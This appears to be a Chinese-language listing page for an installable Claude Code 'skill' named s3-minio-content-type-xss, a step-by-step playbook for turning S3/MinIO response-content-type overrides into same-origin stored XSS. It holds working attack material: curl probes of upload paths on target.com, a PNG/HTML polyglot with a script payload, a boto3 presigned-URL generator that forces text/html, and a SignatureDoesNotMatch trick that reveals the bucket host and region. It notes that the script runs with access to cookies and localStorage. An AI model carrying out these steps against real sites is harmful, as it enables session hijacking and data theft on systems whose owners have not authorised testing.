关于 s3-minio-content-type-xss
s3-minio-content-type-xss 是一项安全测试技能,用于检查 S3、MinIO 或兼容存储能否覆盖对象响应的 Content-Type。它介绍检测流程,以及潜在同源存储型 XSS 的验证方法。
主要功能
- 01查找公开存储对象
- 02测试响应 Content-Type 覆盖
- 03涵盖 MinIO 和签名 S3 请求
- 04说明同源影响检查
- 05列出上传与 CDN 陷阱
适用场景
- 01评估公开存储桶的文件分发
- 02测试上传验证绕过风险
- 03验证潜在的同源存储型 XSS
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill s3-minio-content-type-xss安装后在 Claude Code 中输入/s3-minio-content-type-xss确认已加载。
详细介绍
S3/MinIO Content-Type 覆盖导致存储型 XSS
通过查询参数覆盖 Content-Type 响应头,利用公共云存储存储桶(S3、MinIO 及兼容服务)。如果目标从自身源站(例如 cdn.target.com 或 target.com/uploads/)提供用户上传的文件,成功覆盖后,就能将存储的 HTML/JS 载荷变成同源存储型 XSS,从而绕过应用在上传时执行的所有验证。
适用场景
- 目标通过公共存储桶提供用户上传的文件(图片、头像、附件)。
- 文件由目标自己的域名或子域名提供(不是随机的存储域名)。
- 上传验证看起来很完善(扩展名白名单、魔数检查、强制设置 Content-Type)——覆盖是在文件提供时而非上传时生效,因此可以绕过所有这些验证。
- 存储桶 URL 对
?response-content-type=的请求会返回已更改的 Content-Type。 - 存储桶返回 AWS SignatureDoesNotMatch 错误,泄露真实的存储桶主机和区域。
前提条件
- 配有 curl 和 python3 的
terminal。 - 找到至少一个由存储服务提供的公共对象 URL。
- 利用 S3:需要拥有自己的 AWS 账户凭据(免费套餐即可)。
快速检测
# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl --max-time 30 --connect-timeout 10 -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type
# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach
操作步骤
阶段 1 — 识别公共对象
查找由存储服务公开提供的上传对象:
# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
curl --max-time 30 --connect-timeout 10 -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done
# Look for S3/MinIO signatures in URLs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'
阶段 2 — 测试 Content-Type 覆盖
添加查询参数并检查响应:
OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"
# Test override
curl --max-time 30 --connect-timeout 10 -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type
响应解读:
| 响应 | 含义 | 操作 |
|---|---|---|
Content-Type: text/html | MinIO 或兼容服务——匿名覆盖有效 | 进入阶段 3 |
Request specific response headers cannot be used for anonymous GET requests | AWS S3——覆盖需要签名请求 | 进入阶段 4 |
| Content-Type 没有变化 | 不支持覆盖 | 检查其他查询参数或继续下一步 |
阶段 3 — 利用 MinIO(匿名覆盖)
上传一个包含 HTML/JS 载荷、伪装成有效图片的文件:
# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'
通过应用的正常上传流程上传。应用会验证 PNG 文件头并接受该文件。然后通过以下方式提供该文件:
# The browser renders the file as HTML, executing the script
curl --max-time 30 --connect-timeout 10 -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"
还可测试以下 MinIO 覆盖参数:
| 参数 | 被覆盖的响应头 |
|---|---|
response-content-type | Content-Type |
response-content-disposition | Content-Disposition |
response-cache-control | Cache-Control |
response-content-encoding | Content-Encoding |
response-content-language | Content-Language |
阶段 4 — 利用 S3(签名覆盖)
S3 会拒绝匿名覆盖。使用你自己的 AWS 凭据对请求重新签名:
import boto3
from botocore.client import Config
def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
s3 = boto3.client(
"s3",
region_name=region,
endpoint_url=endpoint_url,
config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
"get_object",
Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
ExpiresIn=3600,
)
return url
# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html
如果不知道存储桶名称,可通过使用错误的主机或区域进行签名,触发 SignatureDoesNotMatch 错误。错误响应会泄露包含真实存储桶主机和区域的规范请求。
阶段 5 — 验证影响
只有当对象 URL 位于目标的域名下时,XSS 才是同源的。请验证:
# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"
# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin
注意事项
- 跨源存储桶的影响较低。 如果存储桶位于
s3.amazonaws.com或随机存储域名下,XSS 会在隔离的源站中执行,无法访问目标的会话。 - 必须支持覆盖。 并非所有存储系统都会遵循响应覆盖参数。除 AWS/MinIO 外的 S3 兼容系统可能使用不同的参数名称。
- 传递载荷仍取决于上传验证。 文件必须通过上传时的检查才能到达存储桶。应使用同时满足验证器和浏览器要求的多格式文件。
- 签名的 S3 URL 会过期。 生成的预签名 URL 有可配置的有效期。过期后,XSS 链接将失效。
- CloudFront/CDN 可能会缓存原始 Content-Type。 如果存储桶前方有 CDN,它可能会忽略查询参数覆盖。请同时测试 CDN URL 和存储桶直连 URL。
验证
- 确认覆盖有效:
curl -skI "${URL}?response-content-type=text/html"返回Content-Type: text/html。 - 通过应用的正常上传流程上传测试载荷。
- 在浏览器中使用覆盖参数访问已上传的文件,验证 JavaScript 是否执行。
- 确认同源:对象 URL 与目标共享同一个域名(而非第三方存储域名)。
- 记录完整链路:上传绕过技术 → 覆盖参数 → 同源 XSS。
相关技能
hunt-xss— 通用 XSS 检测方法和绕过方法表。hunt-cloud-misconfig— 公共存储桶发现和云存储配置错误。firebase-supabase-attack— Firebase/Supabase 存储桶利用。js-secrets-extraction— 在 JavaScript 包中查找存储桶名称和存储端点。
评论
支持 Markdown